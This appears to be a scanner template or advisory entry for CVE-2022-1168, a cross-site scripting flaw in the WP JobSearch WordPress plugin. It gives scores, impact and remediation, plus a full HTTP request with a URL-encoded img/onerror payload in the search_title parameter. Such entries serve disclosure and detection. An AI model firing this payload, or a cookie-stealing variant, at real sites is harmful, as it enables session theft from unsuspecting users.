| Title | WordPress WP JobSearch <1.5.1 - Cross-Site Scripting |
|---|---|
| Author | Akincibor |
| Severity | Medium |
| Impact | Attackers can inject malicious JavaScript via XSS in the search_title parameter, potentially stealing user session cookies or performing unauthorized actions. |
| Remediation | Update to the latest version of the WP JobSearch plugin (1.5.1 or higher) to mitigate the XSS vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.03356 |
| CVE ID | CVE-2022-1168 |
| CWE ID | CWE-79 |
| Tags | cve cve2022 wp-jobsearch" wpscan wp-plugin wp wordpress xss eyecix vuln |
WordPress WP JobSearch plugin prior to 1.5.1 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
GET /plugins/jobsearch/?search_title=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert%28domain%29%3E&ajax_filter=true&posted=all&sort-by=recent HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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